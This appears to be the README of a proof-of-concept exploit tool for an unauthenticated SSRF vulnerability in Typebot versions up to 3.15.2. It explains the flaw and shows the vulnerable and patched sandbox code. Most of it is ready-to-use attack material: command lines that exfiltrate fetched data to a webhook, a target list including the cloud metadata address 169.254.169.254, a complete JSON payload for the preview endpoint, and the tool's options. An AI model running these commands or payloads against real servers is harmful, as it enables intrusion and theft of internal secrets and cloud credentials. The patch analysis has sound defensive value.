
CVE-2026-33712 - Typebot <= 3.15.2 Unauthenticated SSRF via isolated-vm sandbox fetch
Typebot <= 3.15.2 (fixed in 3.16.0) contains an unauthenticated Server-Side Request Forgery (SSRF) vulnerability in the preview chat endpoint.
Endpoint: POST /api/v1/typebots/{typebotId}/preview/startChat
The preview endpoint accepts a user-supplied typebot definition with server-side Code
blocks. The fetch() function exposed inside the isolated-vm sandbox calls Node.js
native fetch without the validateHttpReqUrl() SSRF validation that protects the
regular HTTP Request block. This bypasses all SSRF mitigations.
This tool is provided for educational purposes and authorized security testing only. Unauthorized use against systems you do not own or have explicit permission to test is illegal. The author is not responsible for any misuse or damage caused by this tool.
__ENV.js| File | Description |
|---|---|
exploit.py | Main exploit script |
endpoints.txt | One URL per line — SSRF targets to scan |
requirements.txt | Python dependencies |
pip install -r requirements.txt
# Single SSRF request
python3 exploit.py -t bot.example.com -u http://127.0.0.1:3000/__ENV.js -w https://webhook.site/your-uuid
# Scan all URLs from endpoints.txt
python3 exploit.py -t bot.example.com -w https://webhook.site/your-uuid --scan
# Auto-detect viewer URL from builder's __ENV.js
python3 exploit.py -t 192.168.1.10:3011 -w https://webhook.site/your-uuid --detect-viewer --scan
# Skip pre-flight and force execution
python3 exploit.py -t bot.example.com -w https://webhook.site/your-uuid --scan --force
bot.example.com without http://, it's prepended automatically.vulnerable, patched (auth required), or endpoint_missing (wrong URL/version). Exits early on failure unless --force is set.endpoints.txt, iterates each URL, exfiltrates content to the webhook.One raw URL per line. Blank lines are ignored. No comments, no categories.
http://127.0.0.1:3000/__ENV.js
http://typebot-builder:3000/
http://169.254.169.254/latest/meta-data/
In packages/variables/src/executeFunction.ts, the fetch() exposed inside the
isolated-vm sandbox originally called Node.js native fetch without SSRF validation:
// VULNERABLE (<=3.15.2):
globalThis.fetch = (...args) => $0.apply(undefined, args, {
new Reference(async (...fetchArgs) => {
const [input, init] = fetchArgs;
const res = await fetch(input, init); // No validateHttpReqUrl!
return res.text();
}),
});
// PATCHED (>=3.16.0):
globalThis.fetch = (...args) => $0.apply(undefined, args, {
new Reference(async (...fetchArgs) => {
const [input, init] = fetchArgs;
const request = new Request(input, init);
await validateHttpReqUrl(request.url); // SSRF check added
validateHttpReqHeaders(headers);
}),
});
The fix (commit d96f572) also reordered checks in getTypebot() so auth validation
runs before the custom typebot shortcut, and moved the viewer's preview endpoint from
procedureWithOptionalUser to protectedProcedure.
{
"typebotId": "exploit-id",
"typebot": {
"version": "6",
"id": "exploit-bot",
"workspaceId": "test",
"updatedAt": "2026-01-01T00:00:00.000Z",
"groups": [
{
"id": "group-1", "title": "Start",
"graphCoordinates": {"x": 0, "y": 0},
"blocks": [
{"id": "block-1", "type": "start", "label": "Start", "outgoingEdgeId": "edge-1"}
]
},
{
"id": "group-2", "title": "SSRF",
"graphCoordinates": {"x": 200, "y": 0},
"blocks": [
{
"id": "block-2", "type": "Code",
"outgoingEdgeId": "edge-2",
"options": {
"name": "SSRF",
"content": "const res = await fetch(\"http://127.0.0.1:3000/\"); setVariable(\"result\", res);",
"isExecutedOnClient": false,
"isUnsafe": true
}
}
]
}
],
"edges": [
{"id": "edge-1", "from": {"blockId": "block-1"}, "to": {"groupId": "group-2"}}
],
"events": [
{"id": "event-1", "type": "start", "outgoingEdgeId": "edge-1", "graphCoordinates": {"x": 0, "y": 0}}
],
"variables": [
{"id": "var-1", "name": "result", "value": null}
],
"settings": {"general": {}},
"theme": {"general": {}, "chat": {}}
}
}
Important: fetch() inside the sandbox returns .text() already, so the result is a
string, not a Response object.
| Arg | Description |
|---|
-t / --target | Typebot instance URL (viewer or builder). Scheme defaults to http:// |
-u / --url | Internal URL to fetch via SSRF (single mode) |
-w / --webhook | Webhook URL for exfiltrated data (or WEBHOOK_URL env var) |
--scan | Scan all URLs from endpoints.txt |
--detect-viewer | Probe /__ENV.js on target to find NEXT_PUBLIC_VIEWER_URL and use it |
--force | Skip pre-flight checks and force execution |
--timeout | Request timeout (default: 20s) |
--delay | Delay between scan requests (default: 0.3s) |